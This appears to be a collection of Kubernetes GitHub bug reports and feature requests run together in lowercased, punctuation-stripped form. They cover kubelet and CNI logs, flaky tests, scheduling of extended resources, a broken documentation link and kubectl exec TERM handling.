59809895-bda8-11e7-81d7-fa163e0b9840\  \r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : i1030 19:41:18.848805    3238 operation_generator.go:535  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/59809895-bda8-11e7-81d7-fa163e0b9840-default-token-t2cwn\   outervolumespecname: \ default-token-t2cwn\   pod \ 59809895-bda8-11e7-81d7-fa163e0b9840\   uid: \ 59809895-bda8-11e7-81d7-fa163e0b9840\  . innervolumespecname \ default-token-t2cwn\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r oct 30 19:41:18 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : i1030 19:41:18.929635    3238 reconciler.go:290  volume detached for volume \ default-token-t2cwn\   uniquename: \ kubernetes.io/secret/59809895-bda8-11e7-81d7-fa163e0b9840-default-token-t2cwn\   on node \ etoews-rpc1-iad-worker-1\  devicepath \ \ \r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:19.047  warning  1887  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.db-649dfb7d6f-nm65v\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.db-649dfb7d6f-nm65v\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : e1030 19:41:19.082982    3238 remote_runtime.go:278  containerstatus \ 86ce9b16052bb875ec8a882f1ebd5b668a20adcfa788ce589a46f2f1ec45ef1e\  from runtime service failed: rpc error: code = unknown desc = error: no such container: 86ce9b16052bb875ec8a882f1ebd5b668a20adcfa788ce589a46f2f1ec45ef1e\r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:19.088220    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 9438f6ccb2da5d45e203bdb1b5cb301be28aa47942a4f140865f101e7c119661\ \r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:19.397  warning  1901  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.db-649dfb7d6f-nm65v\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.db-649dfb7d6f-nm65v\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : e1030 19:41:19.422536    3238 kubelet_pods.go:1036  failed killing the pod \ db-649dfb7d6f-nm65v\ : failed to \ killcontainer\  for \ db\  with killcontainererror: \ rpc error: code = unknown desc = error: no such container: 86ce9b16052bb875ec8a882f1ebd5b668a20adcfa788ce589a46f2f1ec45ef1e\ \r oct 30 19:41:19 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:19.767688    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 9438f6ccb2da5d45e203bdb1b5cb301be28aa47942a4f140865f101e7c119661\ \r oct 30 19:41:20 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:20.127  warning  1921  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.db-649dfb7d6f-nm65v\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.db-649dfb7d6f-nm65v\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:41:20 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:41:52 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:41:52.106145    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ 9438f6ccb2da5d45e203bdb1b5cb301be28aa47942a4f140865f101e7c119661\ \r oct 30 19:41:52 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:41:52.338  warning  2057  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.db-649dfb7d6f-nm65v\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.db-649dfb7d6f-nm65v\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:41:52 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r oct 30 19:42:52 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : w1030 19:42:52.445624    3238 cni.go:265  cni failed to retrieve network namespace path: cannot find network namespace for the terminated container \ c84acfbdb34832570162ed959be8dd447d4811f9288627051954b27a09b48c0b\ \r oct 30 19:42:52 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : 2017-10-30 19:42:52.670  warning  2260  k8s.go 313: workloadendpoint does not exist in the datastore, moving forward with the clean up workload=\ default.app-56974bd488-6mlrq\  workloadendpoint=api.workloadendpointmetadata{objectmetadata:unversioned.objectmetadata{revision:interface {} nil }, name:\ eth0\ , workload:\ default.app-56974bd488-6mlrq\ , orchestrator:\ k8s\ , node:\ etoews-rpc1-iad-worker-1\ , activeinstanceid:\ \ , labels:map string string nil }\r oct 30 19:42:52 etoews-rpc1-iad-worker-1 kubelet-wrapper 3238 : calico cni releasing ip address\r    \r \r the errors that stand out are  containerstatus \ 86ce9b16052bb875ec8a882f1ebd5b668a20adcfa788ce589a46f2f1ec45ef1e\  from runtime service failed: rpc error: code = unknown desc = error: no such container: 86ce9b16052bb875ec8a882f1ebd5b668a20adcfa788ce589a46f2f1ec45ef1e  and  failed killing the pod \ db-649dfb7d6f-nm65v\ : failed to \ killcontainer\  for \ db\  with killcontainererror: \ rpc error: code = unknown desc = error: no such container: 86ce9b16052bb875ec8a882f1ebd5b668a20adcfa788ce589a46f2f1ec45ef1e\   but that's the db container from the db pod so it's unclear to me that those errors are any sort of root cause.\r \r   environment  :\r   kubernetes version  use  kubectl version  :\r        \r     client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r     server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2+coreos.0\ , gitcommit:\ 4c0769e81ab01f47eec6f34d7f1bb80873ae5c2b\ , gittreestate:\ clean\ , builddate:\ 2017-10-25t16:24:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r   cloud provider or hardware configuration: openstack\r   os  e.g. from /etc/os-release :\r        \r     name=\ container linux by coreos\ \r     id=coreos\r     version=1548.4.0\r     version_id=1548.4.0\r     build_id=2017-10-26-0356\r     pretty_name=\ container linux by coreos 1548.4.0  ladybug \ \r     ansi_color=\ 38;5;75\ \r     home_url=\ https://coreos.com/\ \r     bug_report_url=\ https://issues.coreos.com\ \r     coreos_board=\ amd64-usr\ \r        \r   kernel  e.g.  uname -a  :  linux etoews-worker-0 4.13.9-coreos  1 smp thu oct 26 03:35:38 utc 2017 x86_64 amd opteron 63xx class cpu authenticamd gnu/linux \r   install tools:  tectonic-installer  https://github.com/coreos/tectonic-installer/ \r   others:  dumb-init  https://github.com/yelp/dumb-init  v1.2.0 used in the app container\r

    \r example failures:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58141/pull-kubernetes-unit/77112\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58890/pull-kubernetes-unit/77121\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58890/pull-kubernetes-unit/77139\r \r it's one of the top failing unit tests: https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-unit\r \r /cc @kubernetes/sig-scheduling-test-failures \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  \r   what happened  :\r \r when something wrong with kubelet source file watching, like: https://github.com/kubernetes/kubernetes/issues/55928, kubelet will report a error message with: \r \r    \r file_linux.go:114  can't process manifest file \ /etc/kubernetes/manifests/4913\ : open /etc/kubernetes/manifests/4913: no such file or directory\r    \r \r   what you expected to happen  :\r \r this error message is misleading, which is in:\r \r    \r \t// reset store with manifest files already existing when starting\r \tif err := s.resetstorefrompath  ; err != nil {\r \t\treturn fmt.errorf \ unable to read manifest path %q: %v\ , s.path, err \r    \r \r it should always return the path of source file during error, instead of  4913 . we should find out what caused this magic number.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we are seeing multiple tests  for various volume types  failing to umount gracefully.\r \r    failing jobs\r    sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r    sig-release-master-upgrade gce-master-1.10-downgrade-cluster  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-master-1.10-downgrade-cluster \r \r    failing tests\r     sig-storage  subpath  volume type: emptydir  should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1439 sig-storage-subpath-volume-type-emptydir-should-unmount-if-pod-is-gracefully-deleted-while-kubelet-is-down-disruptiveslow \r     sig-storage  subpath  volume type: nfspvc  should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/617 sig-storage-subpath-volume-type-nfspvc-should-unmount-if-pod-is-gracefully-deleted-while-kubelet-is-down-disruptiveslow \r     sig-storage  subpath  volume type: emptydir  should unmount if pod is gracefully deleted while kubelet is down  disruptive  slow   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-master-new-downgrade-cluster/617 sig-storage-subpath-volume-type-emptydir-should-unmount-if-pod-is-gracefully-deleted-while-kubelet-is-down-disruptiveslow \r \r    triage results\r   https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=storage&job=ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new\r   https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=storage&job=ci-kubernetes-e2e-gce-master-new-downgrade-cluster\r \r  / /  /milestone v1.11\r @kubernetes/sig-storage-bugs \r \r cc @jberkus @tpepper\r \r /assign @saad-ali \r \r @saad-ali @msau42 we are seeing a couple of storage e2e tests failing in sig-release-master-upgrade jobs. beta v1.11 cut is today. can you please triage this as  let us know if we can resolve it as soon as possible?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i visited the kubernetes 1.11 release blog post and clicked on the link to the article on resizing persistent volumes. the server returned a 404.\r \r   what you expected to happen  :\r i expected to navigate to the article on resizing persistent volumes in kubernetes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r visit the release announcement blog post  https://kubernetes.io/blog/2018/06/27/kubernetes-1.11-release-announcement/ , scroll down to the \ 4 day features blog series\  section, and click on the link to the article on resizing persistent volumes.\r \r   anything else we need to know?  :\r the link currently points to: https://kubernetes.io/blog/2018/07/11/resizing-persistent-volumes-using-kubernetes/\r the correct link is: https://kubernetes.io/blog/2018/07/12/resizing-persistent-volumes-using-kubernetes/\r \r   environment  :\r - kubernetes version  use  kubectl version  : n/a\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r \r @kubernetes/sig-docs-bugs

today, when we want to determine resources with overlapping selectors, for example overlapping replication controllers, we check if the selector of one resource matches the selector of the other and vice-versa. this is easy to do with the current map{string->string} selectors.  but determining overlaps in the case of new label selectors need a more sophisticated constraint solver. implement one.  cc @bgrant0607

http://kubekins.dls.corp.google.com:8081/job/kubernetes-pull-build-test-e2e-gce/34714/consolefull https://pantheon.corp.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/23541/kubernetes-pull-build-test-e2e-gce/34714  digging thorugh controller manager logs:  i0407 15:46:08.467574       5 servicecontroller.go:235  got new updated delta for service: &{typemeta:{kind: apiversion:} objectmeta:{name:mutability-test generatename: namespace:e2e-tests-services-gh9w8 selflink:/api/v1/namespaces/e2e-tests-services-gh9w8/services/mutability-test uid:cbfbc9e0-fcd6-11e5-81dc-42010af00002 resourceversion:7629 generation:0 creationtimestamp:2016-04-07 15:38:38 +0000 utc deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  annotations:map  } spec:{type:loadbalancer ports: {name:   protocol:tcp port:81   targetport:{type:0 intval:80 strval:} nodeport:30517}  selector:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  clusterip:10.0.10.80 externalips:   loadbalancerip:146.148.99.162 sessionaffinity:none} status:{loadbalancer:{ingress: {ip:  146.148.99.162   hostname:} }}}  i0407 15:46:10.898013       5 gce.go:489  ensureloadbalancer acbfbc9e0fcd611e581dc42010af0000, us-central1, 146.148.99.162,    tcp/80   ,  0xc821b353b0 0xc821b35400 0xc821b35450 0xc821b354a0 0xc821b354f0 0xc821b35360 , e2e-tests-services-gh9w8/mutability-test, map     i0407 15:46:15.243131       5 gce.go:558  ensureloadbalancer acbfbc9e0fcd611e581dc42010af0000 e2e-tests-services-gh9w8/mutability-test  : using user-provided non-static ip   146.148.99.162    i0407 15:47:06.066462       5 servicecontroller.go:235  got new   sync   delta for service: &{typemeta:{kind: apiversion:} objectmeta:{name:mutability-test generatename: namespace:e2e-tests-services-gh9w8 selflink:/api/v1/namespaces/e2e-tests-services-gh9w8/services/mutability-test uid:cbfbc9e0-fcd6-11e5-81dc-42010af00002 resourceversion:7629 generation:0 creationtimestamp:2016-04-07 15:38:38 +0000 utc deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  annotations:map  } spec:{type:loadbalancer ports: {name: protocol:tcp   port:81   targetport:{type:0 intval:80 strval:} nodeport:30517}  selector:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  clusterip:10.0.10.80 externalips:   loadbalancerip:   146.148.99.162   sessionaffinity:none} status:{loadbalancer:{ingress: {ip:146.148.99.162 hostname:} }}}  i0407 15:52:05.074169       5 servicecontroller.go:235  got new   sync   delta for service: &{typemeta:{kind: apiversion:} objectmeta:{name:mutability-test generatename: namespace:e2e-tests-services-gh9w8 selflink:/api/v1/namespaces/e2e-tests-services-gh9w8/services/mutability-test uid:cbfbc9e0-fcd6-11e5-81dc-42010af00002 resourceversion:7629 generation:0 creationtimestamp:2016-04-07 15:38:38 +0000 utc deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  annotations:map  } spec:{type:loadbalancer ports: {name: protocol:tcp   port:81   targetport:{type:0 intval:80 strval:} nodeport:30517}  selector:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  clusterip:10.0.10.80 externalips:   loadbalancerip:   146.148.99.162   sessionaffinity:none} status:{loadbalancer:{ingress: {ip:146.148.99.162 hostname:} }}}  i0407 15:52:16.943196       5 servicecontroller.go:235  got new   deleted delta   for service: &{typemeta:{kind: apiversion:} objectmeta:{name:mutability-test generatename: namespace:e2e-tests-services-gh9w8 selflink:/api/v1/namespaces/e2e-tests-services-gh9w8/services/mutability-test uid:cbfbc9e0-fcd6-11e5-81dc-42010af00002 resourceversion:7899 generation:0 creationtimestamp:2016-04-07 15:38:38 +0000 utc deletiontimestamp:<nil> deletiongraceperiodseconds:<nil> labels:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  annotations:map  } spec:{type:loadbalancer ports: {name: protocol:tcp   port:81   targetport:{type:0 intval:80 strval:} nodeport:30517}  selector:map testid:mutability-test-cbf9d2d4-fcd6-11e5-88e4-42010af00007  clusterip:10.0.10.80 externalips:   loadbalancerip:146.148.99.162 sessionaffinity:none} status:{loadbalancer:{ingress: {ip:   146.148.99.162   hostname:} }}}  nothing in code seems to jump out, but from logs: - only 1 ensure call with the wrong port - all deltas have the right port

motivation:    as a distributed systems designer who would like to create a \ better batch\  system atop of kubernetes, i would like to be able to create my own master-worker model using kubernetes concepts to sustain an overall higher throughput.    background:   in traditional batch systems there is often the notion of \ claim re-use\ .   traditional batching will typically have a queue which can sometimes be several orders of magnitude greater then the resources provided, and in order to maximize overall throughput designers tend to avoid unnessary scheduling and other lifecycle events.  other systems often refer to this as \ claim-reuse\ .  your job has been matched to a machine, and once it is finished another is ready to follow behind it without going through scheduling etc.     rfe requirements:    leveraging kubernetes co-scheduling, i would like to schedule a pod to a machine where one of the members of the pod is actually a worker to be executed.  i would like to denote via spec, that a given container should be signaled on life-cycle changes to any changes in the cohort, and could potentially augment some of the parameters of the next container to be run.    the specifics of both the events and interactions are still tbd.     high level example use cases:    - large dags whose executions are pleasingly parallel - iterative machine learning  /cc @kubernetes/sig-node @jayunit100 @rrati @jeremyeder @sdminonne

there is a known docker issue  docker/docker 9299  that  docker exec -t  does not set  term  while  docker run -t  does.  users run into problems running applications that rely on  term  after running  kubectl exec , e.g.:      console $ kubectl exec -t docker-registry-1-omzrl -- top                                                                    term environment variable not set. error: error executing remote command: error executing command in container: error executing in docker container: 1      a proposed solution is to inherit the value of  term  from the environment where  kubectl  is run, or as a last resort default to  xterm , same value as used by docker   docker/docker/container/container_unix.go l61-l63  https://github.com/docker/docker/blob/cbf785c45a8cca061028ec341320bcbd655cf1fd/container/container_unix.go l61-l63  .  a \ pure shell\  equivalent of the solution above is:      console $ kubectl exec -t docker-registry-1-omzrl -- env \ term=${term:-xterm}\  top      ---  originated at: https://github.com/openshift/origin/issues/7424

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2817/ failed:  k8s.io  summary api when querying /stats/summary should report resource usage through the stats api {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:258 failed after 0.220s. expected     <string>: summary to match fields: { .pods: \tfound duplicate element id e2e-tests-mirror-pod-k20sc::static-pod-9eeae159-158e-11e7-8b1c-42010a800027-tmp-node-e2e-eb33bf5a-coreos-alpha-1122-0-0-v20160727 }  /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/summary_test.go:257       previous issues for this test:  34990  40607

  \r   what happened  :\r \r _scenario a:_\r   create a pod that requires one  example.com/foo  resource.\r   observe that the pod is scheduled, despite there being no matching resources available in the cluster.\r \r _scenario b:_\r   create a pod that requires one  kubernetes.io/foo  resource.\r   observe that the pod is scheduled, despite there being no matching resources available in the cluster.\r \r   what you expected to happen  :\r \r i did not expect the pod to be scheduled and run. in both cases, i expected the pod to do one of the following:\r   remain in pending state, having failed a scheduler predicate for all available nodes.\r   fail validation. since there is no facility in the scheduler or kubelet for checking feasibility of these resources, you could argue that they should have failed admission.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r see above.\r \r   anything else we need to know?  :\r \r there is a pull request in progress that attempts to fix this problem for all resources outside of the default namespace:  pr 48922:   https://github.com/kubernetes/kubernetes/pull/48922 . another patch will be needed to handle fully-qualified resources in the  kubernetes.io  domain.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7, recent master\r - cloud provider or hardware configuration  : local cluster\r - os  e.g. from /etc/os-release : linux mint 18.1, centos 7\r - kernel  e.g.  uname -a  : 4.4, 3.10\r - install tools: ./hack/local-up-cluster.sh

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r pod can\ t start\r   what you expected to happen  :\r pod started\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:46:00z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r \r private cloud.\r \r - os  e.g. from /etc/os-release :\r \r debian9\r \r - kernel :\r \r 4.9.0-6-amd64  1 smp debian 4.9.88-1+deb9u1  2018-05-07  x86_64 gnu/linux\r \r - install tools:\r \r https://github.com/kairen/kubeadm-ansible\r \r - others:\r -nodes:\r slave  ready     <none>    24m       v1.10.5\r master   ready     master    25m       v1.10.5\r \r -pods:\r podtest   0/1       containercreating   0          19m\r \r name:         podtest\r namespace:    default\r node:         slave/172.16.37.3\r start time:   wed, 27 jun 2018 11:14:33 +0200\r labels:       <none>\r annotations:  <none>\r status:       pending\r ip:           \r containers:\r   jobtest:\r     container id:  \r     image:         img\r     image id:      \r     port:          <none>\r     host port:     <none>\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from     ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   default-token-wxvhq:\r     type:        secret  a volume populated by a secret \r     secretname:      \r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                  from                                  message\r   ----     ------                  ----                 ----                                  -------\r   normal   scheduled               20m                  default-scheduler                     successfully assigned podtest to slave\r   normal   successfulmountvolume   20m                  kubelet, slave  mountvolume.setup succeeded for volume \ default-token-wxvhq\ \r   normal   sandboxchanged          5m  x820 over 20m    kubelet, slave pod sandbox changed, it will be killed and re-created.\r   warning  failedcreatepodsandbox  3s  x1091 over 20m   kubelet, slave  failed create pod sandbox: rpc error: code = unknown desc = networkplugin cni failed to set up pod \ podtest_default\  network: open /run/flannel/subnet.env: no such file or directory\r \r \r \r \r - kubelet logs:\r \r  

what happened  :\r kubelet start a lot of threads，if count of threads over 10000， kubelet crashed\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r it seems if the disk of docker have i/o pressure， it happened\r \r   anything else we need to know?  :\r this is the logs of kubelet when it happen\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.131960   26898 fshandler.go:135  du and find on following dirs took 1.825821747s:  /var/lib/docker/overlay2/57a568e20452f6619d8936f10cbf83561edb3784a18a6\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.131986   26898 fshandler.go:135  du and find on following dirs took 2.555218883s:  /var/lib/docker/overlay2/8c988d1cacfd59a4f36efaf79042a2205d5ce0090ee5c\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.134742   26898 fshandler.go:135  du and find on following dirs took 2.553618297s:  /var/lib/docker/overlay2/b5c2dbc255197e411f07edff425a5a4a4233f2c7bd184\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.135347   26898 fshandler.go:135  du and find on following dirs took 2.257638073s:  /var/lib/docker/overlay2/a62b93227113909987b942e9cdd40cbf92656579fc3b7\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.139693   26898 fshandler.go:135  du and find on following dirs took 2.07804004s:  /var/lib/docker/overlay2/e837fe59080f477b55a7ac469e9ad82b1beead3e7fb760\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.140331   26898 fshandler.go:135  du and find on following dirs took 2.028253827s:  /var/lib/docker/overlay2/14f6c991e3682049975a834d3ed158fc0665c460591d2\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.141067   26898 fshandler.go:135  du and find on following dirs took 2.026001401s:  /var/lib/docker/overlay2/90b0e43de4fff45262134412138954fc14249ea52d65b\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.141663   26898 fshandler.go:135  du and find on following dirs took 2.162578452s:  /var/lib/docker/overlay2/e8edcf15b6cfb346e585d1c1264e65e4fd13b5c907ad0\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.144341   26898 fshandler.go:135  du and find on following dirs took 1.934381063s:  /var/lib/docker/overlay2/a2c83bd66ce70c5eec93a19303e7223036137e3388248\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.151368   26898 fshandler.go:135  du and find on following dirs took 2.277874183s:  /var/lib/docker/overlay2/2531b61f51ab4f179bf0f3d15b949856debaf4baf9061\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.151413   26898 fshandler.go:135  du and find on following dirs took 2.329287605s:  /var/lib/docker/overlay2/665d5feca465b43b49bfb20712585cf0450d9a84579ed\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.153743   26898 fshandler.go:135  du and find on following dirs took 1.536122813s:  /var/lib/docker/overlay2/a997187e05cc210fa06d4c4ca8939864e09ac2f573647\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.155256   26898 fshandler.go:135  du and find on following dirs took 1.649280224s:  /var/lib/docker/overlay2/487c771bb51c1f84d7cb959f49842301da37906eb6115\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.155285   26898 fshandler.go:135  du and find on following dirs took 2.278786657s:  /var/lib/docker/overlay2/4dd5108b9d9f85d1fdbf84127226bce6b5cc83a4443ec\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.155290   26898 fshandler.go:135  du and find on following dirs took 1.951672706s:  /var/lib/docker/overlay2/4bc4be94d425ea0d80d09a20fe27bcf34661c47eeaefc\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.160342   26898 fshandler.go:135  du and find on following dirs took 1.807898543s:  /var/lib/docker/overlay2/8602ea862d4cd6e73a9bd510b60bdf8bac5183d0895a4\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.160836   26898 fshandler.go:135  du and find on following dirs took 1.810074625s:  /var/lib/docker/overlay2/ce88029c4515dea2e433a34a7727ae32edc6925688025\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.168573   26898 fshandler.go:135  du and find on following dirs took 1.481178818s:  /var/lib/docker/overlay2/79c93a004ffe4862d005e94dcde71d779abb6b20e7fc4\r dec 10 15:49:25 rs04 kubelet 26898 : i1210 15:49:25.170441   26898 fshandler.go:135  du and find on following dirs took 1.472960979s:  /var/lib/docker/overlay2/289bbfdaf1e196078507a308c4861dcef117e3fa16cd3\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r ubuntu16.04\r - kernel  e.g.  uname -a  :\r 4.16.13-041613-generic\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

http://kubernetes.io/swagger-spec/ is served as  text/html   which is completely invalid for json data  instead of  application/json  or more specific media types suggested in swagger-api/swagger-spec 110.

